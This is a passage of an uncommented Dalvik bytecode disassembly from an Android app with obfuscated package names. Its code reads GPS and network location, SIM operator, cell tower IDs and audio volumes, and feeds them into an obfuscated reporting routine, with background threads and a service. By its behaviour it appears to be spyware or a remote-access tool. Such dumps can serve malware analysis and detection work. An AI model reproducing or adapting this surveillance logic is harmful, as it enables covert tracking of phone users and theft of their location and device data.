    00081f18invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00081f1econst-string v10, "-1"
    00081f22invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081f28sget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081f2cinvoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081f32invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00081f38move-result-object v9
    00081f3ainvoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081f40new-instance v9, Ljava/lang/StringBuilder;
    00081f44invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00081f4aconst-string v10, "-1"
    00081f4einvoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081f54sget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081f58invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081f5einvoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00081f64move-result-object v9
    00081f66invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081f6cinvoke-virtual {v0, v4}, Landroid/media/AudioManager;->getStreamVolume(I)I
    00081f72move-result v9
    00081f74invoke-virtual {v0, v2}, Landroid/media/AudioManager;->getStreamVolume(I)I
    00081f7amove-result v10
    00081f7cinvoke-virtual {v0, v3}, Landroid/media/AudioManager;->getStreamVolume(I)I
    00081f82move-result v1
    00081f84invoke-virtual {v0, v6}, Landroid/media/AudioManager;->getStreamVolume(I)I
    00081f8amove-result v0
    00081f8cnew-instance v2, Ljava/lang/StringBuilder;
    00081f90invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
    00081f96sget-wide v3, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00081f9aconst-wide/16 v5, 0x31
    00081f9einvoke-static {v3, v4, v5, v6}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00081fa4move-result-object v3
    00081fa6invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081facsget-object v3, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081fb0invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081fb6invoke-virtual {v2, v9}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
    00081fbcsget-object v9, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081fc0invoke-virtual {v2, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081fc6invoke-virtual {v2, v10}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
    00081fccsget-object v9, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081fd0invoke-virtual {v2, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081fd6invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
    00081fdcsget-object v9, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081fe0invoke-virtual {v2, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081fe6invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
    00081fecinvoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00081ff2move-result-object v8
    00081ff4invoke-virtual {v2, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081ffainvoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00082000move-result-object v8
    00082002invoke-static {v8}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    00082008return-void
    0008200anop
    0008200c.packed-switch 0x0
    000819ac
    00082024
    00082024 struct try_item
    00082024 start_addr uint32 0x819bc
    00082028 insn_count int 73
    0008202a handler_off uint16 0x8207d
    0008202c
    0008202c struct try_item
    0008202c start_addr uint32 0x81a4e
    00082030 insn_count int 134
    00082032 handler_off uint16 0x82082
    00082034
    00082034 struct try_item
    00082034 start_addr uint32 0x81b5c
    00082038 insn_count int 66
    0008203a handler_off uint16 0x8207d
    0008203c
    0008203c struct try_item
    0008203c start_addr uint32 0x81be0
    00082040 insn_count int 66
    00082042 handler_off uint16 0x82087
    00082044
    00082044 struct try_item
    00082044 start_addr uint32 0x81c66
    00082048 insn_count int 22
    0008204a handler_off uint16 0x8207d
    0008204c
    0008204c struct try_item
    0008204c start_addr uint32 0x81c92
    00082050 insn_count int 58
    00082052 handler_off uint16 0x8208c
    00082054
    00082054 struct try_item
    00082054 start_addr uint32 0x81d08
    00082058 insn_count int 22
    0008205a handler_off uint16 0x8207d
    0008205c
    0008205c struct try_item
    0008205c start_addr uint32 0x81d34
    00082060 insn_count int 115
    00082062 handler_off uint16 0x82091
    00082064
    00082064 struct try_item
    00082064 start_addr uint32 0x81e1c
    00082068 insn_count int 22
    0008206a handler_off uint16 0x8207d
    0008206c
    0008206c struct try_item
    0008206c start_addr uint32 0x81e48
    00082070 insn_count int 101
    00082072 handler_off uint16 0x82096
    00082074
    00082074 struct try_item
    00082074 start_addr uint32 0x81f14
    00082078 insn_count int 122
    0008207a handler_off uint16 0x8207d
    0008207c
    0008207c struct encoded_catch_handler_list
    0008207c size int 6
    0008207d
    0008207d struct encoded_catch_handler ← 0x8202a 0x8203a 0x8204a 0x8205a 0x8206a 0x8207a
    0008207d size int64 1
    0008207e handlers[0].type_idx int 0x5994
    00082080 handlers[0].addr uint32 0x82008
    00082082
    00082082 struct encoded_catch_handler ← 0x82032
    00082082 size int64 1
    00082083 handlers[0].type_idx int 0x5994
    00082085 handlers[0].addr uint32 0x81b5c
    00082087
    00082087 struct encoded_catch_handler ← 0x82042
    00082087 size int64 1
    00082088 handlers[0].type_idx int 0x5994
    0008208a handlers[0].addr uint32 0x81c66
    0008208c
    0008208c struct encoded_catch_handler ← 0x82052
    0008208c size int64 1
    0008208d handlers[0].type_idx int 0x5994
    0008208f handlers[0].addr uint32 0x81d08
    00082091
    00082091 struct encoded_catch_handler ← 0x82062
    00082091 size int64 1
    00082092 handlers[0].type_idx int 0x5994
    00082094 handlers[0].addr uint32 0x81e1c
    00082096
    00082096 struct encoded_catch_handler ← 0x82072
    00082096 size int64 1
    00082097 handlers[0].type_idx int 0x5994
    00082099 handlers[0].addr uint32 0x81f14
    0008209b
    0008209b // align 0x4
    0008209c
    0008209ccmf0.c3b5bm90zq.patch.C11::b(java.lang.String, java.lang.String, java.lang.String, java.lang.String, java.lang.String):
    000820acnew-instance v0, Ljava/lang/Thread;
    000820b0new-instance v8, Lcmf0/c3b5bm90zq/patch/C11$6;
    000820b4move-object v1, v8
    000820b6move-object v2, v9
    000820b8move-object v3, v11
    000820bamove-object v4, v10
    000820bcmove-object v5, v12
    000820bemove-object v6, v13
    000820c0move-object v7, v14
    000820c2invoke-direct/range {v1 .. v7}, Lcmf0/c3b5bm90zq/patch/C11$6;-><init>(Lcmf0/c3b5bm90zq/patch/C11;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
    000820c8invoke-direct {v0, v8}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    000820ceinvoke-virtual {v0}, Ljava/lang/Thread;->start()V
    000820d4return-void
    0008209c
    000820d6
    000820d6 // align 0x8
    000820d8
    000820d8cmf0.c3b5bm90zq.patch.C11::c():
    000820e8invoke-virtual {v11}, Lcmf0/c3b5bm90zq/patch/C11;->getApplicationContext()Landroid/content/Context;
    000820eemove-result-object v0
    000820f0const-string v1, "android.permission.ACCESS_FINE_LOCATION"
    000820f4invoke-static {v0, v1}, Landroid/support/v4/a/a;->a(Landroid/content/Context;Ljava/lang/String;)I
    000820famove-result v0
    000820fcif-eqz v0, :cond_19
    00082100invoke-virtual {v11}, Lcmf0/c3b5bm90zq/patch/C11;->getApplicationContext()Landroid/content/Context;
    00082106move-result-object v0
    00082108const-string v1, "android.permission.ACCESS_COARSE_LOCATION"
    0008210cinvoke-static {v0, v1}, Landroid/support/v4/a/a;->a(Landroid/content/Context;Ljava/lang/String;)I
    00082112move-result v0
    00082114if-eqz v0, :cond_19
    00082118return-void
    0008211anew-instance v0, Ljava/lang/StringBuilder;
    0008211einvoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
    00082124sget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00082128const-wide/16 v3, 0x4a
    0008212cinvoke-static {v1, v2, v3, v4}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00082132move-result-object v1
    00082134invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008213asget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    0008213einvoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082144sget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00082148const-wide/16 v3, 0x6a
    0008214cinvoke-static {v1, v2, v3, v4}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00082152move-result-object v1
    00082154invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008215asget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    0008215einvoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082164const-string v1, "-"
    00082168invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008216esget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00082172invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082178const-string v1, "-"
    0008217cinvoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082182sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00082186invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008218cconst-string v1, "-"
    00082190invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082196sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    0008219ainvoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000821a0const-string v1, "-"
    000821a4invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000821aainvoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    000821b0move-result-object v0
    000821b2invoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    000821b8const-wide/16 v0, 0x3e8
    000821bcinvoke-static {v0, v1}, Ljava/lang/Thread;->sleep(J)V
    000821c2const-string v2, "location"
    000821c6invoke-virtual {v11, v2}, Lcmf0/c3b5bm90zq/patch/C11;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    000821ccmove-result-object v2
    000821cecheck-cast v2, Landroid/location/LocationManager;
    000821d2const-string v3, "network"
    000821d6invoke-virtual {v2, v3}, Landroid/location/LocationManager;->isProviderEnabled(Ljava/lang/String;)Z
    000821dcmove-result v3
    000821deconst-string v4, "gps"
    000821e2invoke-virtual {v2, v4}, Landroid/location/LocationManager;->isProviderEnabled(Ljava/lang/String;)Z
    000821e8move-result v2
    000821eaif-nez v2, :cond_1c5
    000821eeif-nez v3, :cond_1c5
    000821f2sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
    000821f6invoke-virtual {v11}, Lcmf0/c3b5bm90zq/patch/C11;->getApplicationContext()Landroid/content/Context;
    000821fcmove-result-object v1
    000821feconst-string v2, "long"
    00082202invoke-virtual {v0, v1, v2}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
    00082208move-result-object v0
    0008220asget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
    0008220einvoke-virtual {v11}, Lcmf0/c3b5bm90zq/patch/C11;->getApplicationContext()Landroid/content/Context;
    00082214move-result-object v2
    00082216const-string v3, "lat"
    0008221ainvoke-virtual {v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
    00082220move-result-object v1
    00082222sget-object v2, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
    00082226invoke-virtual {v11}, Lcmf0/c3b5bm90zq/patch/C11;->getApplicationContext()Landroid/content/Context;
    0008222cmove-result-object v3
    0008222econst-string v4, "acc"
    00082232invoke-virtual {v2, v3, v4}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
    00082238move-result-object v2
    0008223aconst-string v3, ""
    0008223econst-wide/16 v4, 0x49
    00082242if-eq v0, v3, :cond_100
    00082246const-string v3, ""
    0008224aif-eq v1, v3, :cond_100
    0008224econst-string v3, ""
    00082252if-eq v2, v3, :cond_100
    00082256new-instance v3, Ljava/lang/StringBuilder;
    0008225ainvoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
    00082260sget-wide v6, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00082264invoke-static {v6, v7, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    0008226amove-result-object v4
    0008226cinvoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082272sget-object v4, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00082276invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008227csget-wide v4, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00082280const-wide/16 v6, 0x6b
    00082284invoke-static {v4, v5, v6, v7}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    0008228amove-result-object v4
    0008228cinvoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082292sget-object v4, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00082296invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008229cinvoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000822a2sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    000822a6invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000822acinvoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000822b2sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    000822b6invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000822bcconst-string v0, "unknown"
    000822c0invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000822c6sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    000822cainvoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000822d0invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000822d6invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    000822dcmove-result-object v0
    000822deinvoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    000822e4goto/16 :goto_1c4
    000822e8const-string v0, "phone"
    000822ecinvoke-virtual {v11, v0}, Lcmf0/c3b5bm90zq/patch/C11;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    000822f2move-result-object v0
    000822f4check-cast v0, Landroid/telephony/TelephonyManager;
    000822f8invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getSimOperator()Ljava/lang/String;
    000822femove-result-object v1
    00082300invoke-static {v1}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
    00082306move-result v2
    00082308if-nez v2, :cond_178
    0008230cinvoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getCellLocation()Landroid/telephony/CellLocation;
    00082312move-result-object v0
    00082314check-cast v0, Landroid/telephony/gsm/GsmCellLocation;
    00082318const/4 v2, 0x0
    0008231aconst/4 v3, 0x3
    0008231cinvoke-virtual {v1, v2, v3}, Ljava/lang/String;->substring(II)Ljava/lang/String;
    00082322move-result-object v2
    00082324invoke-virtual {v1, v3}, Ljava/lang/String;->substring(I)Ljava/lang/String;
    0008232amove-result-object v1
    0008232cinvoke-virtual {v0}, Landroid/telephony/gsm/GsmCellLocation;->getCid()I
    00082332move-result v3
    00082334invoke-static {v3}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
    0008233amove-result-object v3
    0008233cinvoke-virtual {v0}, Landroid/telephony/gsm/GsmCellLocation;->getLac()I
    00082342move-result v0
    00082344invoke-static {v0}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
    0008234amove-result-object v0
    0008234cnew-instance v6, Ljava/lang/StringBuilder;
    00082350invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
    00082356sget-wide v7, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    0008235ainvoke-static {v7, v8, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00082360move-result-object v7
    00082362invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082368sget-object v7, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    0008236cinvoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082372sget-wide v7, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00082376const-wide/16 v9, 0x69
    0008237ainvoke-static {v7, v8, v9, v10}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00082380move-result-object v7
    00082382invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082388sget-object v7, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    0008238cinvoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082392invoke-virtual {v6, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082398sget-object v2, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    0008239cinvoke-virtual {v6, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000823a2invoke-virtual {v6, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000823a8sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    000823acinvoke-virtual {v6, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000823b2invoke-virtual {v6, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000823b8sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    000823bcinvoke-virtual {v6, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000823c2invoke-virtual {v6, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000823c8invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    000823cemove-result-object v0
    000823d0invoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    000823d6return-void
    000823d8new-instance v0, Ljava/lang/StringBuilder;
    000823dcinvoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
    000823e2sget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    000823e6invoke-static {v1, v2, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    000823ecmove-result-object v1
    000823eeinvoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000823f4sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    000823f8invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000823fesget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00082402const-wide/16 v3, 0x53
    00082406invoke-static {v1, v2, v3, v4}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    0008240cmove-result-object v1
    0008240einvoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082414sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00082418invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008241econst-string v1, "Can't get location by any one "
    00082422invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082428sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    0008242cinvoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082432const-string v1, "null"
    00082436invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008243csget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00082440invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082446const-string v1, "null"
    0008244ainvoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082450sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00082454invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008245aconst-string v1, "null"
    0008245einvoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00082464invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    0008246amove-result-object v0
    0008246cgoto/16 :goto_fb
    00082470return-void
    00082472invoke-static {v0, v1}, Ljava/lang/Thread;->sleep(J)V
    00082478new-instance v0, Landroid/content/Intent;
    0008247cconst-class v1, Lcmf0/c3b5bm90zq/patch/C15;
    00082480invoke-direct {v0, v11, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
    00082486sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
    0008248aconst-class v2, Lcmf0/c3b5bm90zq/patch/C15;
    0008248einvoke-virtual {v11}, Lcmf0/c3b5bm90zq/patch/C11;->getApplicationContext()Landroid/content/Context;
    00082494move-result-object v3
    00082496invoke-virtual {v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/a;->a(Ljava/lang/Class;Landroid/content/Context;)Z
    0008249cmove-result v1
    0008249eif-nez v1, :cond_1e1
    000824a2invoke-virtual {v11, v0}, Lcmf0/c3b5bm90zq/patch/C11;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
    000824a8goto :goto_1ec
    000824aanew-instance v1, Landroid/content/Intent;
    000824aeconst-class v2, Lcmf0/c3b5bm90zq/patch/C15;
    000824b2invoke-direct {v1, v11, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
    000824b8invoke-virtual {v11, v1}, Lcmf0/c3b5bm90zq/patch/C11;->stopService(Landroid/content/Intent;)Z
    000824begoto :goto_1dd
    000824c0return-void
    000820d8
    000824c2
    000824c2 struct code_item_padding
    000824c2 padding uint16 0x0000
    000824c4
    000824c4 struct try_item
    000824c4 start_addr uint32 0x820e8
    000824c8 insn_count int 104
    000824ca handler_off uint16 0x824fd
    000824cc
    000824cc struct try_item
    000824cc start_addr uint32 0x821bc
    000824d0 insn_count int 3
    000824d2 handler_off uint16 0x82502
    000824d4
    000824d4 struct try_item
    000824d4 start_addr uint32 0x821c2
    000824d8 insn_count int 145
    000824da handler_off uint16 0x824fd
    000824dc
    000824dc struct try_item
    000824dc start_addr uint32 0x822e8
    000824e0 insn_count int 119
    000824e2 handler_off uint16 0x8250a
    000824e4
    000824e4 struct try_item
    000824e4 start_addr uint32 0x823d8
    000824e8 insn_count int 74
    000824ea handler_off uint16 0x824fd
    000824ec
    000824ec struct try_item
    000824ec start_addr uint32 0x82472
    000824f0 insn_count int 3
    000824f2 handler_off uint16 0x8250f
    000824f4
    000824f4 struct try_item
    000824f4 start_addr uint32 0x82478
    000824f8 insn_count int 35
    000824fa handler_off uint16 0x824fd
    000824fc
    000824fc struct encoded_catch_handler_list
    000824fc size int 4
    000824fd
    000824fd struct encoded_catch_handler ← 0x824ca 0x824da 0x824ea 0x824fa
    000824fd size int64 1
    000824fe handlers[0].type_idx int 0x5994
    00082500 handlers[0].addr uint32 0x824c0
    00082502
    00082502 struct encoded_catch_handler ← 0x824d2
    00082502 size int64 2
    00082503 handlers[0].type_idx int 0x59ac
    00082505 handlers[0].addr uint32 0x821c2
    00082506 handlers[1].type_idx int 0x5994
    00082508 handlers[1].addr uint32 0x824c0
    0008250a
    0008250a struct encoded_catch_handler ← 0x824e2
    0008250a size int64 1
    0008250b handlers[0].type_idx int 0x5994
    0008250d handlers[0].addr uint32 0x823d8
    0008250f
    0008250f struct encoded_catch_handler ← 0x824f2
    0008250f size int64 2
    00082510 handlers[0].type_idx int 0x59ac
    00082512 handlers[0].addr uint32 0x82478
    00082514 handlers[1].type_idx int 0x5994
    00082516 handlers[1].addr uint32 0x824c0
    00082518
    00082518cmf0.c3b5bm90zq.patch.C11::c(java.lang.String):
    00082528new-instance v0, Ljava/lang/Thread;
    0008252cnew-instance v1, Lcmf0/c3b5bm90zq/patch/C11$4;
    00082530invoke-direct {v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11$4;-><init>(Lcmf0/c3b5bm90zq/patch/C11;Ljava/lang/String;)V
    00082536invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    0008253cinvoke-virtual {v0}, Ljava/lang/Thread;->start()V
    00082542return-void
    00082518
    00082544
    00082544cmf0.c3b5bm90zq.patch.C11::c(java.lang.String, java.lang.String):
    00082554new-instance v0, Ljava/lang/Thread;
    00082558new-instance v1, Lcmf0/c3b5bm90zq/patch/C11$18;
    0008255cinvoke-direct {v1, v2, v3, v4}, Lcmf0/c3b5bm90zq/patch/C11$18;-><init>(Lcmf0/c3b5bm90zq/patch/C11;Ljava/lang/String;Ljava/lang/String;)V
    00082562invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    00082568invoke-virtual {v0}, Ljava/lang/Thread;->start()V
    0008256ereturn-void
    00082544
    00082570
    00082570cmf0.c3b5bm90zq.patch.C11::d():
    00082580new-instance v0, Ljava/lang/Thread;
    00082584new-instance v1, Lcmf0/c3b5bm90zq/patch/C11$15;
    00082588invoke-direct {v1, v2}, Lcmf0/c3b5bm90zq/patch/C11$15;-><init>(Lcmf0/c3b5bm90zq/patch/C11;)V
    0008258einvoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    00082594invoke-virtual {v0}, Ljava/lang/Thread;->start()V
    0008259areturn-void
    00082570
    0008259c
    0008259ccmf0.c3b5bm90zq.patch.C11::d(java.lang.String):
    000825acnew-instance v0, Ljava/lang/Thread;
    000825b0new-instance v1, Lcmf0/c3b5bm90zq/patch/C11$7;
